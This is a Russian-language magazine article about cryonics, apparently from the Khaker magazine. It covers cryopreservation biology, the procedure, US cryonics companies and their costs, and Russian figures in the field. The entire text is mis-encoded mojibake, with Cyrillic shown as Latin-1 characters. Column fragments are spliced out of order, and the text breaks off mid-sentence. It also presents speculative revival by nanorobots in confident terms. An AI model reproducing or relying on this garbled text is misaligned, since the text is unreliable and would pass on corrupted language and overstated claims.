çà íåëåãêîå äåëî � ñòàéëèíã è òþíèíã âèíäû. Íó âîò, ïîæàëóé, è âñå, õîòÿ
âîò åùå ÷òî: íå âîñïðèíèìàéòå ìîè âîñõèùåíèÿ è ïåðëû êàê ïîëèòçàêàç
ðàçðàáîò÷èêîâ ïëàòíûõ ïðîäóêòîâ: ïðîñòî èõ ïðîãðàììû äåéñòâèòåëüíî òî-
ãî ñòîÿò. Óäà÷è

îäíà èç êðàñèâåéøèõ òåì Aston'à
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Ïî óáåæäåíèþ áîëüøèíñòâà èììîðòàëèñòîâ, ñà-
ìûì ðåàëèñòè÷íûì øàãîì ê áåññìåðòèþ ÿâëÿåòñÿ
êðèîíèêà. Ïî âñåì ïðîãíîçàì, ðåàëèçàöèÿ ëþáûõ
äðóãèõ ñïîñîáîâ ïðîäëåíèÿ æèçíè, âêëþ÷àÿ ãåí-
íóþ èíæåíåðèþ, ìîëåêóëÿðíóþ ìåäèöèíó è ñîâ-
ñåì óæ ôàíòàñòè÷åñêèé ïåðåíîñ ÷åëîâå÷åñêîé
ëè÷íîñòè íà êîìïüþòåðíûå íîñèòåëè («çàãðóçêó»),
çàéìåò åùå íå îäèí äåñÿòîê ëåò. Êðèîíèêà, èëè
êðèîñòàç, òî åñòü êîíñåðâàöèÿ ëþäåé ïóòåì èõ çà-
ìîðàæèâàíèÿ äî óëüòðàíèçêèõ êðèîãåííûõ òåìïå-
ðàòóð, íå ïðåòåíäóåò íà ðîëü «ýëåêñèðà æèçíè».
Îíà ëèøü ñïîñîáñòâóåò èçãîòîâëåíèþ «òâåðäîé
êîïèè» ÷åëîâå÷åñêîãî òåëà ñ öåëüþ åãî îæèâëå-
íèÿ ïðè ïîìîùè ìåäèöèíñêèõ òåõíîëîãèé áóäóùå-
ãî. Ñòîðîííèêè êðèîñòàçà íå îòðèöàþò, ÷òî ñïîñî-
áîâ âîçâðàùåíèÿ çàìîðîæåííûõ ïàöèåíòîâ ê æèç-
íè ïîêà íå ñóùåñòâóåò. Îäíàêî óæå î÷åâèäíî, ÷òî
òåõíîëîãèÿìè ðàçìîðàæèâàíèÿ, îæèâëåíèÿ è «ðå-
ìîíòà» êëåòîê è òêàíåé íà ìîëåêóëÿðíîì óðîâíå
áóäóò íàíîòåõíîëîãèè. È íåâàæíî, êîãäà îíè ñòà-
íóò äîñòóïíûìè. Ñâîåãî ÷àñà êðèîíèêà ãîòîâà
æäàòü è äåñÿòü, è ñòî, è òûñÿ÷ó ëåò. Êàê ãîâîðÿò
ñòîðîííèêè êðèîñòàçà, îí ÿâëÿåòñÿ åäèíñòâåííûì
íàó÷íûì ìåòîäîì, êîòîðûé ïðÿìî ñåé÷àñ äàåò ÷å-
ëîâåêó øàíñ (ïóñòü è ìèçåðíûé) íà ëè÷íîå áåñ-
ñìåðòèå â áóäóùåì.

[íàóêà] Áèîëîãè÷åñêàÿ ïîäîïëåêà êðèîíèêè òà-
êîâà. Òðàäèöèîííàÿ ìåäèöèíà, ïîáîðîâøàÿ êëè-
íè÷åñêóþ ñìåðòü, ïî÷òè ãîòîâà ïðèçíàòü, ÷òî íå-
êîòîðîå äîâîëüíî ïðîäîëæèòåëüíîå âðåìÿ ïîñëå
áèîëîãè÷åñêîé ñìåðòè ÷åëîâåêà ìíîãèå êëåòêè

åãî ìîçãà åùå æèâû è ñîõðàíÿþò èíôîðìàöèþ î íåì êàê î ëè÷íîñòè. Åùå,
êàê ìèíèìóì, íà íåñêîëüêî ÷àñîâ èíäèâèäóàëüíîñòü ÷åëîâåêà ìîæíî çà-
ôèêñèðîâàòü â âèäå «ñíèìêà» ñòðóêòóðû ñâÿçåé ìåæäó íåéðîíàìè ãîëîâíî-
ãî ìîçãà. È ëèøü èñ÷åçíîâåíèå ýòîé èíôîðìàöèè áóäåò îçíà÷àòü èíôîðìà-
öèîííóþ è îêîí÷àòåëüíóþ ñìåðòü ÷åëîâåêà. Â ïîëüçó òàêîãî ïðåäïîëîæå-
íèÿ ãîâîðèò òîò ôàêò, ÷òî äàæå òÿæåëûå ìîçãîâûå òðàâìû íå ïðèâîäÿò ê
ïîëíîé ïîòåðå ÷åëîâåêîì ñâîåé ëè÷íîñòè. Òî åñòü, ñîõðàíåíèÿ îáùåé
ñòðóêòóðû ìîçãà äàæå «ñ ïîòåðåé êà÷åñòâà» ìîæåò áûòü âïîëíå äîñòàòî÷-
íî äëÿ âîññîçäàíèÿ â áóäóùåì òî÷íîé êîïèè çàìîðîæåííîãî ÷åëîâåêà. 

[òåõíîëîãèÿ] Îòñþäà òåõíîëîãè÷åñêèé ïðîöåññ êðèîáàëüçàìèðîâàíèÿ
âûãëÿäèò ñëåäóþùèì îáðàçîì. Êðîâü çàìåíÿåòñÿ íà ñïåöèàëüíûé êðîâåçà-
ìåíèòåëü, óñòîé÷èâûé ê íèçêèì òåìïåðàòóðàì (íàïðèìåð, ãëèöåðèí). Òêàíè
íàñûùàþòñÿ õèìè÷åñêèì ðàñòâîðîì êðèîïðîòåêòîðà, óìåíüøàþùåãî èõ
ïîâðåæäåíèÿ ïðè ãëóáîêîì çàìîðàæèâàíèè. Ïîñëå ýòîãî íà÷èíàåòñÿ ìåä-
ëåííîå ðàâíîìåðíîå îõëàæäåíèå òåëà. Åãî ïåðåâîçÿò â ñïåöèàëüíîå õðàíè-
ëèùå, ãäå ãîëîâîé âíèç ïîìåùàþò â êðèîñòàò � áîëüøîé ìåòàëëè÷åñêèé
òåðìîñ, íàïîëíåííûé æèäêèì àçîòîì ïðè òåìïåðàòóðå 196 ãðàäóñîâ ïî
Öåëüñèþ. Â òàêîì âèäå òåëî íå áóäåò ïîäâåðæåíî èçìåíåíèÿì íåîïðåäå-
ëåííî äîëãî. Íåîáû÷íàÿ ïîçà îáóñëîâëåíà òåì, ÷òî àçîò áûñòðî èñïàðÿåòñÿ
è åãî íóæíî ïîñòîÿííî ïîäëèâàòü. Äàæå åñëè â ýòîì ñòðîãîì òåõíîëîãè÷åñ-
êîì ïðîöåññå ïðîèçîéäåò ñáîé, ìîçã ïàöèåíòà åùå íåêîòîðîå âðåìÿ áóäåò
çàùèùåí. Ïî ñóòè, ñîõðàíåíèÿ îäíîãî ìîçãà óæå âïîëíå äîñòàòî÷íî, ÷òîáû
äîñòè÷ü êîíå÷íîé öåëè êðèîñòàçà. Êðèîáàëüçàìèðîâàíèå «ãîëîâû ïðîôåñ-
ñîðà Äîóýëÿ», îòäåëåííîé îò òåëà, ïîëó÷èëî íàçâàíèå «íåéðîêîíñåðâàöèÿ».
Â òðàíñïëàíòîëîãèè äîñòàòî÷íî äàâíî ïðàêòèêóåòñÿ çàìîðàæèâàíèå ñïåðìû,
ÿéöåêëåòîê, êîñòíîãî ìîçãà, êîæè è ðîãîâèöû ãëàçà. Ïåðâûå ýêñïåðèìåíòû
ïî çàìîðàæèâàíèþ íåáîëüøèõ ôðàãìåíòîâ ìîçãà âçðîñëîãî ÷åëîâåêà ïîêà-
çàëè, ÷òî ïðè îòòàèâàíèè «ñåðîå âåùåñòâî» ïðîÿâëÿåò ýëåêòðè÷åñêóþ àêòèâ-
íîñòü. Âîîáùå, íåáîëüøèå áèîëîãè÷åñêèå îáúåêòû ïðè îáðàáîòêå êðèîïðî-
òåêòîðàìè ëåãêî ïåðåíîñÿò çàìîðàæèâàíèå. Îðãàíèçìû íåêîòîðûõ íàñåêî-
ìûõ è æèâîòíûõ äàæå ñàìîñòîÿòåëüíî âûðàáàòûâàþò ïðèðîäíûå êðèîïðî-
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îïåðàöèîííàÿ êðèîòîðèÿ ãîòîâà ê ïðèåìó ïàöèåíòà
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Êðèîíèêà è äðóãèå
ñòèìóëÿòîðû æèçíè



«ðåìîíòà» ÷ðåâàòî åãî ãèáåëüþ.
Âïðî÷åì, ýëåêòðîôîòîñúåìêà ïîêà-
çàëà, ÷òî ïîâðåæäåíèÿ îáû÷íî ìèíè-
ìàëüíû è íå ÿâëÿþòñÿ íåîáðàòèìû-
ìè. Ñîâðåìåííûå èññëåäîâàíèÿ âå-
äóòñÿ â äâóõ íàïðàâëåíèÿõ: ðàçðà-
áîòêà óíèâåðñàëüíûõ ñèíòåòè÷åñêèõ
êðèîïðîòåêòîðîâ (ñåãîäíÿ èõ ýôôåê-
òèâíîñòü äîñòèãàåò 85%) è ñîçäàíèå
àëãîðèòìîâ äëÿ âîññîçäàíèÿ ìîëå-
êóëÿðíûìè ðîáîòàìè öåëîñòíîé
ñòðóêòóðû èç ðàçðóøåííîé ïðè çàìî-
ðîçêå. Ïðèðîäíûì àíàëîãîì òàêîãî
àëãîðèòìà ÿâëÿåòñÿ «ïðîãðàììà»
ðèáîñîìû â âèäå ìîëåêóëû ðèáîíóê-
ëåèíîâîé êèñëîòû, â ñîîòâåòñòâèè ñ
êîòîðîé èç àìèíîêèñëîò êîíñòðóèðó-
åòñÿ ìîëåêóëà áåëêà.

«Ðåìîíòèðîâàòü» êëåòêè è âîçâðà-
ùàòü îðãàíû ê æèçíè, ñêîðåå âñåãî,
áóäóò «ìîëåêóëÿðíûå õèðóðãè»  �
íàíîìàíèïóëÿòîðû (ïîäðîáíåå î íà-
íîòåõíîëîãèÿõ ÷èòàé â Õàêåðå
07/2004 è 01/2005). Â çàáàëüçàìèðî-
âàííîå òåëî çàïóñòÿò ìèëëèîíû ìèë-
ëèàðäîâ íàíîáîòîâ îáùèì âåñîì îêîëî 500 ãðàììîâ. Ïðè ïîìîùè ìèíèàòþð-
íûõ âû÷èñëèòåëüíûõ óñòðîéñòâ îíè ïðîàíàëèçèðóþò ïîâðåæäåíèÿ, âîçíèêøèå
âî âðåìÿ ñìåðòè, íà ýòàïå êðèîáàëüçàìèðîâàíèÿ è õðàíåíèÿ. Ïîñëå ýòîãî çà-
êèïèò íàñòîÿùàÿ ðàáîòà. Ïåðåìåùàÿ ìîëåêóëû è ìîäèôèöèðóÿ èõ ñòðóêòóðó,
íàíîìàíèïóëÿòîðû áóäóò âîññòàíàâëèâàòü êëåòî÷íûå ìåìáðàíû è îðãàíåëëû,
ñîåäèíÿòü ðàçîðâàííûå ó÷àñòêè îáîëî÷êè êëåòêè, ðàçðåçàòü ñøèâêè âíóòðè è
ìåæäó ìîëåêóëàìè, óäàëÿòü âðåäíûå ïðîäóêòû îáìåíà è êîððåêòèðîâàòü ãåíå-
òè÷åñêèé ìàòåðèàë. Òàêîé «êàïðåìîíò» ïîäðàçóìåâàåò ëå÷åíèå è îçäîðîâëå-
íèå êëåòêè, òî åñòü âîññîçäàíèå åå â îìîëîæåííîì âèäå. Â ðåçóëüòàòå, áóäóò
èçëå÷åíû áîëåçíè, êîòîðûå ÿâèëèñü ïðè÷èíîé ñìåðòè ÷åëîâåêà, âêëþ÷àÿ ðàê
èëè ÑÏÈÄ. Âåðíóòñÿ ê æèçíè è òå ïàöèåíòû, êîòîðûå ïîãèáëè â ðåçóëüòàòå íåñ-
÷àñòíîãî ñëó÷àÿ èëè óáèéñòâà. Òàêàÿ ïðîöåäóðà ðåàíèìàöèè ìîæåò çàíÿòü äî
íåñêîëüêèõ ìåñÿöåâ. Ïîñëå ÷åãî íàíîðîáîòû ïîêèíóò îðãàíèçì, êàê îáû÷íûé
âèðóñ ãðèïïà, � ÷åðåç ìî÷ó, êðîâåíîñíóþ ñèñòåìó èëè äûõàòåëüíûå ïóòè.

[áèçíåñ] Ñåãîäíÿ óñëóãè êðèîíè÷åñêèõ äåïîçèòàðèåâ (êðèîòîðèåâ) ïðåäëà-
ãàþò, â îáùåé ñëîæíîñòè, ïÿòü êîìïàíèé: Alcor â Àðèçîíå, Èíñòèòóò êðèîíè-
êè â Äåòðîéòå, CryoCare Foundation, Àìåðèêàíñêîå êðèîíè÷åñêîå îáùåñòâî è
êîðïîðàöèÿ TransTime â Êàëèôîðíèè. Â êàïñóëàõ êðèîñòàòîâ  � ïî ÷åòûðå
çàìîðîæåííûõ òåëà â êàæäîé  � íàõîäÿòñÿ, ïî ðàçíûì ïîäñ÷åòàì, îò 100 äî
200 ïèîíåðîâ êðèîíèêè. Åùå äî 2,000 ñòîÿò â î÷åðåäè íà çàìîðîçêó. Åæåãîä-
íî ýòî ÷èñëî ðàñòåò íà 200�300 ÷åëîâåê. Êàê ïðàâèëî, ïðè ýòîì çàêëþ÷àåò-
ñÿ äîãîâîð íà êðèîñòàç è ÷åëîâåê ñòàíîâèòñÿ ÷ëåíîì îðãàíèçàöèè, âûïëà÷è-
âàÿ åæåãîäíûå ÷ëåíñêèå âçíîñû. Ñòîèìîñòü ñàìîé ïðîöåäóðû ïî çàìîðàæè-
âàíèþ ñîñòàâëÿåò îò 30 äî 150 òûñÿ÷ äîëëàðîâ. Ñòîëü âûñîêàÿ öåíà îáóñ-
ëîâëåíà áåññðî÷íûì õàðàêòåðîì êîíòðàêòà è öåëûì êîìïëåêñîì ìåð ïî
ïðåäîòâðàùåíèþ ïðåæäåâðåìåííîãî ðàçìîðàæèâàíèÿ, âêëþ÷àÿ ðåçåðâíûå
åìêîñòè äëÿ àçîòà è àâàðèéíûå äèçåëü-ãåíåðàòîðû. Îáû÷íî íà âñþ ñóììó
îôîðìëÿåòñÿ ñòðàõîâêà íà ñëó÷àé ñìåðòè. Â èòîãå, ñòðàõîâûå âçíîñû äëÿ
ìîëîäîãî ÷åëîâåêà íå ïðåâûøàþò 1000 äîëëàðîâ â ãîä. Êîãäà êëèåíò áóäåò
íàõîäèòüñÿ â êðèòè÷åñêîì ñîñòîÿíèè ìåæäó æèçíüþ è ñìåðòüþ, íà ïóëüò êðè-
îíè÷åñêîãî äåïîçèòàðèÿ ÷åðåç ðîäñòâåííèêîâ, ëå÷àùèõ âðà÷åé èëè ìåäèöè-
íñêèå äàò÷èêè ïîñòóïèò ñîîáùåíèå, ïîëó÷èâ êîòîðîå áðèãàäà ñïåöèàëèñòîâ
ñðàçó âûåäåò íà ìåñòî. Êàê òîëüêî âðà÷ ïîäïèøåò ñâèäåòåëüñòâî î ñìåðòè,
íà÷íåòñÿ ïîäãîòîâêà òåëà ê çàìîðàæèâàíèþ. Äàëüíåéøóþ èñòîðèþ òû óæå
çíàåøü. Ïî óñëîâèÿì äîãîâîðà, òåëî áóäåò õðàíèòüñÿ â êðèîñòàòå äî ïîÿâëå-
íèÿ â áóäóùåì òåõíîëîãèè, êîòîðàÿ ïîçâîëèò åãî ðåàíèìèðîâàòü. Äëÿ ïîêðû-

òåêòîðû � ñàõàð è ãëþêîçó. Ñåãîäíÿ
ó÷åíûå ðåøàþò çàäà÷ó ïî çàìîðàæè-
âàíèþ áîëüøèõ îðãà-
íîâ è áèîëîãè÷åñêèõ
îáúåêòîâ. Íåîäíîðîä-
íîñòü èõ ñòðóêòóðû íå
ïîçâîëÿåò êà÷åñòâåííî
îáðàáîòàòü òêàíè êðè-
îïðîòåêòîðàìè è îáåñ-
ïå÷èòü ðàâíîìåðíîå çà-
ìîðàæèâàíèå. Â ðå-
çóëüòàòå, áèîëîãè÷åñ-
êèå ñòðóêòóðû ÷àñòè÷íî
ðàçðóøàþòñÿ. Ðåàíè-
ìèðîâàòü òàêîé îðãàí
áåç ïðåäâàðèòåëüíîãî çäàíèå êðèîòîðèÿ Alcor â øòàòå Àðèçîíà, ÑØÀ

çíàìåíèòûé êðèîñòàò Dewar 
â ëàáîðàòîðèè Alcor

Âåá-ñàéòû î êðèîíèêå è
òðàíñãóìàíèçìå:
http://www.cryonics.org/
http://www.alcor.org/
http://cryonics.4u.ru/
http://www.eternalmind.ru/

Ð. Ýòòèíäæåð. Ïåðñïåêòèâà
áåññìåðòèÿ � http://www.cry-
onics.org/book1.html 
Ä. Õàëïåðèí. Ïåðâûé áåñ-
ñìåðòíûé � http://www.her-
itagecoins.com/tfi/
Æóðíàë «Êðèîíèêà» (âû-
õîäèò ñ 1982 ãîäà) �
http://www.alcor.org/Cryoni
csMagazine

Ôèëüì «Çàìîðîæåííûé
êàëèôîðíèåö» íàçâàëè òàê
ïîòîìó, ÷òî ïåðâîå â èñòî-
ðèè çàìîðàæèâàíèå ÷åëî-
âåêà îñóùåñòâèëî â 1967
ãîäó Êàëèôîðíèéñêîå êðè-
îíè÷åñêîå îáùåñòâî.

Õîäÿò ñëóõè, ÷òî â ÷èñëå
çàìîðîæåííûõ ìîãóò
áûòü Óîëò Äèñíåé è
Ñàëüâàäîð Äàëè.

Ëþáîïûòíî, ÷òî ìíîãèå
âåäóùèå ñïåöèàëèñòû â
îáëàñòè èñêóññòâåííîãî
èíòåëëåêòà è íàíîòåõíîëî-
ãèé ÿâëÿþòñÿ èììîðòàëèñ-
òàìè. Êîíòðàêò íà çàìîðà-
æèâàíèå èìåþò Ìàðâèí
Ìèíñêèé, Ýðèê Äðåêñëåð,
Ðàëüô Ìåðêëü è äðóãèå
îòöû õàé-òåêà.

[X
À

Ê
Å

Ð
0

8
 [

8
0

] 
0

5
 >

È
Ì

Ï
Ë

À
Í

Ò
0

3
9

]



òèÿ ðàñõîäîâ íà îáñëóæèâàíèå òåëà ÷àñòü óïëà÷åííîé ñóììû ïîìåùàåòñÿ â
áàíê ïîä ïðîöåíòû, ÷òî ïîçâîëÿåò õðàíèòü òåëî íåîãðàíè÷åííî äîëãî, à ïîñ-
ëå «âîñêðåøåíèÿ» êëèåíòà âðó÷èòü åìó êðóãëåíüêóþ ñóììó äåíåã. Ïðèáåãà-
þò â êðèîíèêå åùå è ê òàêîìó þðèäè÷åñêîìó òðþêó. ×òîáû ðàçìîðîæåííûé
êëèåíò, íà êîòîðîãî â ñâîå âðåìÿ ïðèøëà «ïîõîðîíêà», ìîã âåðíóòüñÿ ê ïîë-
íîöåííîé æèçíè, åìó ðåêîìåíäóþò ïåðåâåñòè äåíüãè â òðàñò, íàïðèìåð, â
Øâåéöàðèè. Ïî çàêîíó, íèêòî, êðîìå ñàìîãî âëàäåëüöà òðàñòà, íå ìîæåò
ïðåäúÿâèòü ïðàâà íà äåíüãè è íåäâèæèìîñòü. Ïðè÷åì, ñ þðèäè÷åñêîé òî÷êè
çðåíèÿ, ôàêò ñìåðòè íå íîñèò ïðèíöèïèàëüíîãî õàðàêòåðà.

[ðóññêèé ñëåä] Óæå äâà ãîäà ìîñêîâñêèé Èíñòèòóò áèîìåäèöèíñêèõ òåõ-
íîëîãèé è äåòðîéòñêèé Èíñòèòóò êðèîíèêè ïðîñÿò îòêëèêíóòüñÿ âñåõ æåëà-
þùèõ ïðèíÿòü ó÷àñòèå â îñíîâàíèè ïåðâîé â Ðîññèè êðèîíè÷åñêîé êîìïà-
íèè. Ó íàñ ïðåäïîëàãàåòñÿ ïðîâîäèòü îáðàáîòêó êëåòîê êðèîïðîòåêòîðàìè
è îñóùåñòâëÿòü ïðåäâàðèòåëüíîå îõëàæäåíèå äî òåìïåðàòóðû ñóõîãî ëüäà.
Ïîñëå ýòîãî òåëî áóäåò ïåðåïðàâëÿòüñÿ íà õðàíåíèå â Èíñòèòóò êðèîíèêè â
Øòàòàõ. Ïîìèìî ðàñòóùåãî ñïðîñà íà óñëóãó, èíòåðåñ ê Ðîññèè îïðåäåëÿ-
åòñÿ åùå è ïîòðåáíîñòüþ â ñâåæèõ ÷åëîâå÷åñêèõ òðóïàõ ïðè îòíîñèòåëüíîé
ïðîñòîòå ïîëó÷åíèÿ ëèöåíçèè íà ìåäèöèíñêèå ýêñïåðèìåíòû. Âîîáùå ãî-
âîðÿ, ýêñïåðèìåíòû ïî êðèîãåííîìó çàìîðàæèâàíèþ æèâûõ ëþäåé îôèöè-
àëüíî çàïðåùåíû. Îäíàêî, êîìïàíèè íàñòàèâàþò íà òîì, ÷òî ïàöèåíòîâ æå-
ëàòåëüíî ââåñòè â ñîñòîÿíèå àíàáèîçà äî òîãî, êàê áîëåçíü ïðèâåäåò ê èõ
ñìåðòè. Âîçìîæíî, êîãäà ýôôåêòèâíîñòü êðèîíèêè áóäåò ïîäòâåðæäåíà,
çàïðåò îòìåíÿò. Ïîêà ó êðèîòîðèåâ âåñüìà íåïðîñòîå îòíîøåíèå ñ âëàñòÿ-
ìè. Â àâãóñòå 2003 ãîäà Èíñòèòóò êðèîíèêè â Äåòðîéòå ÷óòü áûëî íå çàêðû-
ëè. Âëàäåëüöàì êîìïàíèè ïðèøëîñü ñðî÷íî ëèöåíçèðîâàòü ñâîþ äåÿòåëü-
íîñòü ïîä âûâåñêîé êëàäáèùà. Òåïåðü ïðîöåäóðó âèòðèôèêàöèè, ïîäãîòîâ-
êè òåëà ê çàìîðàæèâàíèþ, ìîãóò îñóùåñòâëÿòü òîëüêî ïðèãëàøåííûå êîðî-
íåðû. Òàêæå îáðàçîâàíû êîìïàíèè, çàíèìàþùèåñÿ èñêëþ÷èòåëüíî òðàíñ-
ïîðòèðîâêîé òåë â êðèîòîðèè. Ðàíåå îáñóæäàëñÿ ïðîåêò ñòðîèòåëüñòâà â
Ïîäìîñêîâüå «êðèîôåðìû», îñíàùåííîé îáîðóäîâàíèåì äëÿ õðàíåíèÿ òåë
è óñòàíîâêàìè äëÿ ïðîèçâîäñòâà æèäêîãî àçîòà. Ïðè ôåðìå ïëàíèðîâàëàñü
êîììóíà, ãäå â êà÷åñòâå âîëîíòåðîâ ðàáîòàëè áû åùå æèâûå, ãîòîâÿùèåñÿ
ê ñìåðòè ëþäè. Ýòî èñêëþ÷èëî áû çàòðàòû íà äîñòàâêó òåëà â êðèîòîðèé è
ïîìîãëî ðåàëüíî ñêîñòèòü ñòîèìîñòü ïðîöåäóðû êðèîñòàçà. Ïî ñêðóïóëåç-
íûì ðàñ÷åòàì ðîññèéñêîé áèçíåñ-ïðåññû, ñîçäàíèå óëüòðàñîâðåìåííîãî
êðèîòîðèÿ â Ðîññèè îáîéäåòñÿ â 200�300 òûñÿ÷ äîëëàðîâ, âêëþ÷àÿ ìîù-
íûé èíôîðìàöèîííûé ïèàð. 

«Ðóññêàÿ ìàôèÿ» âñåãäà äâèãàëà êðèîíèêó. Äîñòàòî÷íî ñêàçàòü, ÷òî îòöîì
êðèîíèêè ÿâëÿåòñÿ ïðîôåññîð ôèçèêè Ðîáåðò Ýòòèíäæåð, àâòîð ðîìàíà-
áåñòñåëëåðà «Ïåðñïåêòèâà áåññìåðòèÿ» è äî íåäàâíåãî âðåìåíè äèðåêòîð
Èíñòèòóòà êðèîíèêè â Äåòðîéòå. Ïî ìàòåðèíñêîé ëèíèè îí âûõîäåö èç Ðîñ-
ñèè. Ïðèìåðíî çà ïîëâåêà äî Ýòòèíäæåðà ðóññêèé áèîôèçèê Áàõìåòüåâ
âïåðâûå ýêñïåðèìåíòàëüíî äîêàçàë, ÷òî ìëåêîïèòàþùèå ìîãóò ïåðåíîñèòü
îõëàæäåíèå äî òåìïåðàòóðå íèæå íóëÿ ïî Öåëüñèþ, è âûñêàçàë èäåþ î òîì,
÷òî ïîçæå íàçâàëè êðèîíèêîé. Ñåãîäíÿ äèðåêòîðîì ïî íàóêå Èíñòèòóòà
êðèîíèêè, ëè÷íî ðàçðàáîòàâøèì ñàìûå ñîâåðøåííûå êðèîïðîòåêòîðû â
ìèðå, ÿâëÿåòñÿ Þðèé Ïè÷óãèí, â ïðîøëîì ñîòðóäíèê Õàðüêîâñêîãî èíñòè-
òóòà ïðîáëåì êðèîáèîëîãèè è êðèîìåäèöèíû. Åãî ïî ïðàâó ñ÷èòàþò ó÷åíè-
êîì çíàìåíèòîãî ðóññêîãî êîñìèñòà Íèêîëàÿ Ôåäîðîâà. Çà ãðàíèöåé æèâåò
è ðàáîòàåò îáëàäàòåëü ïðåìèè Ãåðîíòîëîãè÷åñêîãî îáùåñòâà ÐÀÍ çà èñ-
ñëåäîâàíèÿ â îáëàñòè êðèîáèîëîãèè â 1999 ãîäó Ìèõàèë Ñîëîâüåâ. Ðàçâè-
âàþò èäåè êðèîíèêè âåäóùèé ñîòðóäíèê Ìàññà÷óñåòñêîãî òåõíîëîãè÷åñêî-
ãî èíñòèòóòà Àíäðåé Áàðêîâñêèé è äèðåêòîð ìîñêîâñêîãî Èíñòèòóòà áèîìå-
äèöèíñêèõ òåõíîëîãèé Èãîðü Àðòþõîâ. Âåëèêèì òðàñãóìàíèñòîì-òåîðåòè-
êîì ñîâðåìåííîñòè áûë ôóòóðîëîã è ñïåöèàëèñò ïî èñêóññòâåííîìó èíòåë-
ëåêòó Ñàøà ×èñëåíêî, êîòîðîãî ÿ èìåë ñ÷àñòüå çíàòü ëè÷íî. 

[çàêëþ÷åíèå] Îêîëî ïîëîâèíû çàÿâîê íà çàìîðàæèâàíèå ïîñòóïàåò â êðè-
îòîðèè â ñàìûé ïîñëåäíèé ìîìåíò îò ðîäñòâåííèêîâ, êîòîðûå íèêàê íå ìîãóò
ïðèíÿòü ðàññòàâàíèå ñ áëèçêèìè. Ïîýòîìó êðèîíèêà  � ýòî, êîíå÷íî, ïðè-
áûëüíûé áèçíåñ, áèçíåñ íà ñìåðòè. Îäíàêî èñòèííûìè öåíèòåëÿìè ôèëîñî-
ôèè òðàíñãóìàíèçìà è ñòîðîííèêàìè êðèîñòàçà, êàê ïðàâèëî, ÿâëÿþòñÿ ïîñ-
ëåäîâàòåëüíûå íåîðäèíàðíûå ëè÷íîñòè, êîòîðûå ïîëíû îïòèìèçìà è òâîð-
÷åñêèõ ñèë, ëþáÿò æèçíü è õîòÿò æèòü êàê ìîæíî äîëüøå. Ñ ðàçâèòèåì GNR-
òåõíîëîãèé � ïî Áèëëó Äæîþ ê íèì îòíîñÿòñÿ ãåííàÿ èíæåíåðèÿ, íàíîòåõíî-
ëîãèè è ðîáîòîòåõíèêà � ÷èñëî òðàíñãóìàíèñòîâ íà ïëàíåòå áóäåò ðàñòè â ãå-

îìåòðè÷åñêîé ïðîãðåññèè. Âîéäåøü
òû â èõ ÷èñëî èëè íåò, òåïåðü çàâèñèò
òîëüêî îò òâîåãî ìèðîîùóùåíèÿ
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| ÐÐÀÇÌÎÐÎÆÅÍÍÛÅ || 
Ñ 1967 ïî 80-å ãîäû â ìèðå áûëî çàìîðîæåíî âñåãî 20 ÷åëî-
âåê. Íà êîíåö 90-õ ñóùåñòâîâàëî óæå îêîëî 20 êðèîíè÷åñêèõ
îáùåñòâ â Àìåðèêå, Çàïàäíîé Åâðîïå è Àâñòðàëèè. Îäíàêî
íåñêîëüêî ëåò íàçàä ïðàêòè÷åñêè âñå ïàöèåíòû áûëè ðàçìîðî-
æåíû. Ïî îäíîé âåðñèè, áûëà íàðóøåíà òåõíîëîãèÿ õðàíåíèÿ.
Ïî äðóãîé  � êðèîòîðèè áàíàëüíî îáàíêðîòèëèñü, ïîòîìó ÷òî
ðîäñòâåííèêè ïàöèåíòîâ îäíè çà äðóãèìè ïåðåñòàëè îïëà÷è-
âàòü èõ ïðåáûâàíèå â çàìîðîæåííîì ñîñòîÿíèè. Áîëüøóþ
÷àñòü òåë ïåðåäàëè â Alcor è Èíñòèòóò êðèîíèêè. Íåêîòîðûõ
ïðèøëîñü ðàçìîðîçèòü è çàõîðîíèòü. Ïîñëå òîãî, êàê â àïðåëå
2004 êîìïàíèÿ CryoSpan ïåðåâåëà 10 «ëåäåíöîâ» â äåòðîé-
òñêèé êðèîòîðèé, â ìèðå ôàêòè÷åñêè îñòàëèñü ëèøü äâå óïî-
ìÿíóòûå âûøå «öèòàäåëè ïðîäëåíèÿ æèçíè». Ïðè÷åì, íåéðîê-
ðèîñåðâèñ ïîêà ïðàêòèêóåò îäèí Alcor.

| ÏÏÎÁÅÄÀ ÍÍÀÄ ÑÑÌÅÐÒÜÞ || 
Ñóäÿ ïî íîâîñòÿì, õàé-òåê áðîñèë ñìåðòè âûçîâ.
Êàê ìèíèìóì, äâå êîìïàíèè  � àìåðèêàíñêàÿ LifeGem
(www.lifegem.com) è øâåéöàðñêàÿ Algordanza (www.algordan-
za.ch) � ïðåäîñòàâëÿþò óñëóãè ïî èçãîòîâëåíèþ áðèëëèàíòîâ
èç ïåïëà, îñòàâøåãîñÿ ïîñëå êðåìàöèè ÷åëîâåêà. Ïåðâàÿ êîì-
ïàíèÿ äîáàâëÿåò ìèíåðàëû, ÷òî ïîçâîëÿåò ïîëó÷àòü àëìàçû
ðàçíûõ öâåòîâûõ îòòåíêîâ  � ãîëóáîãî, êðàñíîãî, æåëòîãî.
Âòîðàÿ óòâåðæäàåò, ÷òî òîëüêî åå ïðîäóêöèÿ íå ÿâëÿåòñÿ «ãå-
íåòè÷åñêè ìîäèôèöèðîâàííîé» è íà 100% ñîñòîèò èç ïåïëà.
Ñòîèìîñòü ïåðâîêëàññíîãî àëìàçà âåñîì îò 0,2 äî 1 êàðàòà
ñîñòàâëÿåò îò 2,700 äî 20,000 äîëëàðîâ. Êñòàòè, ïàòåíò íà òåõ-
íîëîãèþ ïðèíàäëåæèò íàøèì ñîîòå÷åñòâåííèêàì.
Îäèí íåìåö ïðîäàåò óñòðîéñòâî «Òåëåôîííûé àíãåë»
(http://www.telefonengel.de/) � ðàäèîñâÿçü ñ óìåðøèì. Ãîëîñ

ðàçäàåòñÿ ïîä çåìëåé èç ãðîìêîãîâîðèòåëÿ, âñòðîåííîãî â
êîôð. Âèäèìî, åùå ïðè æèçíè ó ïîêîéíèêà áóäåò òðåïåòíîå
îùóùåíèå ñ÷àñòüÿ îò òîãî, ÷òî åãî òåùà áóäåò äîñòàâàòü åãî
ïî òåëåôîíó ïîñëå ñìåðòè.
Íà ôåñòèâàëå NextFest 2005, êîòîðûé ñîñòîÿëñÿ â èþíå,
ïðåäñòàëà àíäðîèäíàÿ êîïèÿ àìåðèêàíñêîãî ïèñàòåëÿ-ôàíòàñ-
òà Ôèëèïïà Äèêà («Áåãóùèé ïî ëåçâèþ áðèòâû», «Îñîáîå
ìíåíèå», «Âñïîìíèòü âñå» è äð.), êîòîðûé óìåð åùå â 1982 ãî-
